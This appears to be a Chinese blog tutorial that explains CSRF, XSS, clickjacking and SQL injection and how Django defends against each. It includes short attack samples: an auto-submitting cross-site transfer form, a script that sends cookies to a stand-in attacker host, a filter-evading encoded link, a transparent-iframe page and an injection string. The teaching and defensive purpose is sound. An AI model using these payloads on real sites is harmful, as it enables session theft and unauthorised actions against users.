最近在查看Django安全性方面的文档:Django 的安全性 ,发现针对过去经典的四大攻击方式都有相应的防护策略,结合之前学习的郭老师(知乎@ustcsse308)的信息安全实践课程,本文对这几个攻击方式做个总结。

CSRF:跨站请求伪造

原理

CSRF全称是Cross-Site Request Forgery,根据字面意思来理解,就是攻击者伪造了用户的请求,这种攻击方式主要依靠的是cookie

由于HTTP协议是一种无状态协议,服务器无法直接依据用户的请求来识别用户,因此需要在本次存储一段可以识别用户信息的文本,当用户向服务器发送请求时,同时携带该段文本信息,服务器即可据此识别出用户身份,这就是cookie的主要用途。

因此,只要拿到用户的cookie,任何人都可以利用它与服务器通信。对此,浏览器有一个功能,即在用户发起请求时,仅会携带与请求站点相关的cookie,保证用户访问的站点无法获得用户本地存储的其他站点的cookie。

那么,这种保护措施是否足够安全了呢?显然答案是否定的,攻击者可以构造出一个页面,在页面内发起对被攻击页面的请求,这样浏览器在发送请求时仍然会携带对应的cookie,用户就会被攻击。

下面来看一个示例,由于GET请求会将请求信息填充在url中,很容易被攻击,因此现在大部分有安全要求的请求都会使用POST方式。但是由于浏览器可以检查页面源码,可以很容易地知道请求的表单构成,攻击者只要据此伪造一个表单请求即可。

<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<title>CSRF MYZOO</title>
</head>

<body>
<iframe name="frame" style="display: none" width="500" height="300" id="myframe"></iframe>

<p>HHH</p>

<script>
var f = document.createElement("form");
f.method = "POST";
f.action = "http://localhost:8080/transfer.php" // 被攻击页面
f["target"] = "frame";
f.style.display = "inline";
f.id = "myForm";

var i = document.createElement("input");
i.type = "hidden";
i.name = "zoobars";
i.value = 1;
f.appendChild(i);

var i = document.createElement("input");
i.type = "hidden";
i.name = "recipient";
i.value = "csrf";
f.appendChild(i);

var i = document.createElement("input");
i.type = "hidden";
i.name = "submission";
i.value = "Send";
f.appendChild(i);

document.body.appendChild(f);
f.submit();

</script>
</body>

</html>

利用JS自动构建和提交表单,只要用户访问该网站,就会被攻击,向攻击者转钱。这段代码在Edge浏览器上无法有效运行,因为浏览器默认不会给跨域的POST请求添加cookie,但是在IE上只要允许脚本运行,该段代码仍然可以正常工作。理论上通过其他前端技术,应该可以实现类似效果,但是本人不会前端技术,本文也仅是说明攻击原理,因此不再展开。

防御

那么,如何防范这种攻击呢?由于CSRF使用cookie进行攻击,因此最简单的方式就是在每次浏览网站后删除对应的cookie(如手动登出站点),但是这种方法不利于良好的用户体验,主要的解决方法还是要在服务器端想办法。现在的问题是攻击者太容易构造请求表单了,因此只要增加表单的构造难度即可,一个简单的方法就是在提交的表单中加入一个隐藏的随机字段,每次服务器处理表单时验证该字段即可。

一种防御手段是在cookie中存储一个随机字段,并且在发送请求时,前端读取cookie中的该字段并随请求一同发送。由于同源策略,恶意网站无法直接读取cookie,也就无法在请求中正确构造该字段,即可达到防御效果。除此以外,还可以通过session方式生成和存储加密字段。

而Django中,会有一个基于随机密钥值的CSRF cookie,同时在表单中有一个名为csrfmiddlewaretoken的隐藏字段,该字段是被掩码加密的密钥值,表单提交后,服务器会比较cookie和表单中的字段值,以确认本次请求是否合法。

XSS:跨站脚本

原理

全称为Cross Site Scripting,简称不是CSS是为了与Cascading Style Sheets做区分。

XSS攻击是发生在目标用户的浏览器上的,当渲染DOM树的过程中执行了不该执行的JS代码时,就发生了XSS攻击。

简单来说,站点在渲染页面时,没有对页面信息进行过滤,而将一些用于攻击的JS代码渲染出来。

假设网站提供了一个页面用于展示用户的个人信息,那么攻击者将攻击代码写在个人信息处,当其他人访问攻击者的个人页面时,页面就会渲染攻击代码,窃取用户信息。

举个简单的例子,假设攻击者的个人页面如下:

<a id="id">click me</a>
<script>
var aLink = document.getElementById("id");
aLink.href="http://www.xss.com/steal.php?cookie="+document.cookie;
</script>

那么,正常用户访问该页面时,会将自己的cookie发送到攻击者的服务器中去。

防御

针对这种攻击的防御说起来很简单:输入过滤,输出转义。但是做起来比较困难。以php为例,有个strip_tag函数可以过滤指定的html标签,但是这还远远不够。攻击者可以将一些标签编码,这样就无法识别到指定的标签进行过滤了,如:

<a href=&#x6A;avascript:alert(1)>hello</a>

其中,&#x6A;在html中称为字符实体,对应与字符j,这种情况下函数就无法有效过滤了。

在Django中,模板系统默认开启了html转义功能,同时也可以使用escape标签手动进行转义。它主要转义<>'"&这五个字符。

Clickjacking:点击劫持

原理

这种攻击方式的原理很简单,就是用恶意网页覆盖被攻击的网页,让用户误以为在操作展示的网页,而实际是在操作被攻击的网页,从而造成损失。

攻击者只需要在自己的页面上嵌入一个iframe,引用被攻击的页面。将frameopacity设置为0,那么用户就无法看到该frame。同时,将攻击页面的z-index设置为-1,以置于被攻击页面之下。在这种情况下,用户看到的是下层的恶意页面,而进行操作时,却是操作的位于上层的透明的被攻击页面。

一个简单的攻击页面构成如下:

<html>
<head>
<style type="text/css">
h1 {
z-index: -1;
}

iframe {
position: absolute;
left: 0px;
top: 0px;
opacity: 0;
}
</style>
</head>

<body>
<h1>显示用户看到的界面</h1>
<iframe src="www.baidu.com"></iframe>
</body>
</html>

攻击者只要精心构造攻击页面,使之与上层被攻击页面(即iframe)中的页面对应,即可达到攻击目的。

简单的图示如下:

防御

想要防御这种攻击方式,最先想到的就是阻止自身被加载到iframe中,但是单单通过JS代码很难实现。后来,结合浏览器的安全机制,可以在响应头中加入X-Frame-Options字段,告诉浏览器不能将该页面载入到iframe中。

该字段有3个选项:

  • DENY:任何网页都不能使用iframe 载入该页面
  • SAMEORIGIN:符合同源策略的网页可以使用iframe载入该页面
  • ALLOW-FROM uri:指定来源的网页可以使用iframe 载入该页面

SQL注入

原理

想象一下,网站在验证用户的登录信息时,需要去数据库检查用户名和密码,一个简单的查询语句如下:

$sql = "SELECT * FROM Person WHERE UserName='$username' and Password='$password'";
$rs = $this->db->executeQuery($sql);

网站通过sql返回的值来判断用户提供的登录信息是否正确。那么,只要攻击者想办法让数据库可以返回非空的信息,即可在不知道密码的情况下登陆网站。

在SQL中,有andor等逻辑操作符,我们只要在password中传入' or 1;,构造出的查询语句为:

SELECT * FROM Person WHERE UserName='sql' and Password=' or 1;'

那么,数据库会返回所有的用户信息,也就攻击成功了。

在攻击者已知网站的数据库查询语句构造的情况下,可以很容易地构造出攻击字串。然而,大多数情况下,攻击者是难以知道查询语句或数据库的构成的,此时攻击者可以通过出错信息、盲注等手段,根据查询时的表现来猜测数据库的名字、字段等信息。

防御

这种攻击的防御主要还是依靠对用户输入的信息进行识别和过滤,在执行sql之前对sql语句进行检查。

Django 的 querysets 在被参数化查询构建出来时就被保护而免于 SQL 注入。查询的 SQL 代码与查询的参数是分开定义的。参数可能来自用户从而不安全,因此它们由底层数据库引擎进行转义。

参考

  1. Web安全实践课程 - 知乎 (zhihu.com)
  2. Django 的安全性 | Django 文档 | Django (djangoproject.com)